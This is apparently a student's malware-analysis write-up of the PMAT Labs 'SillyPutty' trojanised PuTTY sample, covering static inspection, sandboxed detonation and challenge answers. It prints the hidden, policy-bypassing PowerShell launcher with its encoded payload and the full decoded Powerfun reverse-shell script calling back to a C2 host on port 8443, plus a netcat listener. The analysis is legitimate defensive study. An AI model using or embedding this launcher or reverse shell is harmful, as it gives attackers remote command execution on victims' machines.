Introduction
- I have been studying malware analysis and came across this malware repo PMAT Labs which has a ton of malware exercises.
- This is the one we are doing today is SillyPutty
Scenario
Hello Analyst, The help desk has received a few calls from different IT admins regarding the attached program. They say that they’ve been using this program with no problems until recently. Now, it’s crashing randomly and popping up blue windows when it’s run. I don’t like the sound of that. Do your thing!
Perform basic static and basic dynamic analysis on this malware sample and extract facts about the malware’s behavior. Answer the challenge questions below. If you get stuck, the answers/ directory has the answers to the challenge.
Static Analysis
- File hash SHA256 is:
- 0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83
- This is a Windows 32-bit executable.
- “MZ” means we are dealing with a Windows Portable Executable.
- PE Format
- In the Import Address Table (IAT) we can see the functions that the executable calls. There are a bunch of imports but then again, this is a legitimate “putty.exe” so they might be needed.
- These are just a few that might be interesting, but then again, probably they are for legitimate use by the program.
Function | Description | DLL |
---|---|---|
GetClipboardData | Retrieve copied data residing in the clipboard | User32.dll |
GetKeyboardState | Copy the status of the 256 virtual keys to the specified buffer. This function is commonly used by keyloggers. | User32.dll |
RegCreateKeyA | Create a specified registry key. If the key already exists, the function opens it | Advapi32.dll |
DeleteFileA | Delete an existing file. This function is used by malware to hide its tracks or tamper with an application | Kernel32.dll |
MapViewOfFile | Used for heap allocation and manipulation | Kernel32.dll |
OpenProcess | Used to get a handle on a process. This function is commonly used by malware during process injection. | Kernel32.dll |
- From the string extraction the only useful thing that I managed to extract was a very interesting PowerShell command.
- The “-w hidden” runs the script hidden/invisibly.
- The “-ep bypass” bypasses the Execution Policy.
- The payload seems to be a compressed Base64 encoded string.
- We can decode it, and then decompress it.
- This does not really seem something the real “putty.exe” would do.
floss -vn 20 <file>
0x011bb05 powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
- This is not a packed malware. A “packed malware” is malware that has been compressed/encrypted, so the size on disk is “small” and it “grows” at runtime.
- Virtual Size is the size in memory, when loaded into memory.
- Size of Raw Data is the size on disk.
- If the size of “Virtual Size” is significantly greater that the “Size of Raw Data” this may indicate we are dealing with packed malware.
Description | HEX Value | Decimal(Bytes) |
---|---|---|
Virtual Size | 95F6D | 614253 |
Size of Raw Data | 96000 | 614400 |
Environment
- A VM “FlareVM”:
- IP: 10.0.0.3
- The “victim” in this scenario.
- A VM “REMnux”:
- IP: 10.0.0.4
- Running InetSim.
- Running Wireshark.
- Consider this also as a C2C server.
Dynamic Analysis
Detonation Zero
- “Putty.exe” opens as normal.
- However, for a brief moment, you can see a powershell window.
Detonation One
- Detonating with the following scenario:
- FlareVM PROCMON running
- REMnux with inetsim and WireShark running.
- From the Wireshark capture here are only two things that caught my attention:
- DNS query for the domain name: “bonus2.corporatebonusapplication.local”.
- A TCP SYN message to the remote port 8443.
- A “RST” reply. This is a normal response is the port is closed. As expected, because I know that my REMnux VM is not listening on that port. However, why is someone trying to connect to that port though?
- Analyzing the PROCMON trace
- “Putty.exe” is initiating PowerShell. This is the “blue screen” described in the report.
- The command that PowerShell is executing is the one we identified in the string analysis.
- FlareVM machine is trying to open a TCP socket from random port 50004. Matching what we got from the WireShark capture.
- The destination port is 8443. Matching what we got from the WireShark capture.
-
We now know that the malware is trying to open a TCP socket to “bonus2.corporatebonusapplication.local”. Because this is my environment, there is no one listening on port 8443 and an RST message is sent back. But we will fix this in a bit.
-
In theory, because the PowerShell is trying to open a TCP socket to remote port 8443, we should be able to see this connection, for a brief time before the “RST” message, with our tool: “tcpview”.
Detonation Two
- Now, we are going to setup a listener of that port in the REMnux VM. We can use “netcat” for this and then detonate.
nc -nvlp 8443
- As now the REMnux machine is listening there is a successful TCP connection established between the victim and the C2C server.
- Because the connection happens over TLS, for this to be truly successful a TLS certificate must be given by the Server, since I do not have configured a certificate the conversation ends at the “Client Hello” message. However, exploiting the malware was never the intention of this.
Extra
- If we go back to the Base64 compressed payload, we can decode it from Base64 and then extract the content.
- Here is the plaintext of the payload:
- Creates a reverse shell to “bonus2.corporatebonusapplication.local” over port 8443.
- This connection is encrypted with TLS.
- It will go and download some modules from the URI.
# Powerfun - Written by Ben Turner & Dave Hardy
function Get-Webclient
{
$wc = New-Object -TypeName Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun
{
Param(
[String]$Command,
[String]$Sslcon,
[String]$Download
)
Process {
$modules = @()
if ($Command -eq "bind")
{
$listener = [System.Net.Sockets.TcpListener]8443
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
}
$stream = $client.GetStream()
if ($Sslcon -eq "true")
{
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
$stream = $sslStream
}
[byte[]]$bytes = 0..20000|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
if ($Download -eq "true")
{
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
}
powerfun -Command reverse -Sslcon true
Questions
- What is the SHA256 hash of the sample?
- 0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83
- What architecture is this binary?
- 32-bit.
- Are there any results from submitting the SHA256 hash to VirusTotal?
- Yes there are. It is categorized as a Trojan.
- Putty.exe.malz
- Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings?
- Just the PowerShell one-liner. Other than that you would have to look really deep.
- Describe the results of inspecting the IAT for this binary. Are there any imports worth noting?
- Not really. As this is a legitimate software, it may use these functions. We cannot establish any definitive conclusion.
- Is it likely that this binary is packed?
- No, it is not. There is no significant difference between “Virtual Size” and “Size of Raw Data”.
- Describe initial detonation. Are there any notable occurrences at first detonation? Without internet simulation? With internet simulation?
- Without internet simulation there is no connection attempt to remote port 8443.
- With Internet simulation there is a connection attempt to remote port 8443.
- From the host-based indicators perspective, what is the main payload that is initiated at detonation? What tool can you use to identify this?
- The payload initiated at detonation is that PS command one-liner.
- We can use PROCMON to view the command. We can use the “Process Tree” feature to identify parent/child processes and then filter by the relevant one.
- What is the DNS record that is queried at detonation?
- “bonus2.corporatebonusapplication.local”.
- What is the callback port number at detonation?
- Port 8443.
- What is the callback protocol at detonation?
- TLS.
- How can you use host-based telemetry to identify the DNS record, port, and protocol?
- Attempt to get the binary to initiate a shell on the localhost. Does a shell spawn? What is needed for a shell to spawn?
- A successful TLS connection is needed.
- If we want to open a reverse shell we can make a few tweaks and pass the “–ssl” option for netcat so a TLS connection can be established. Or since we have the script, remove the SSL connection.
- Either way, a succesfull remote shell can be established: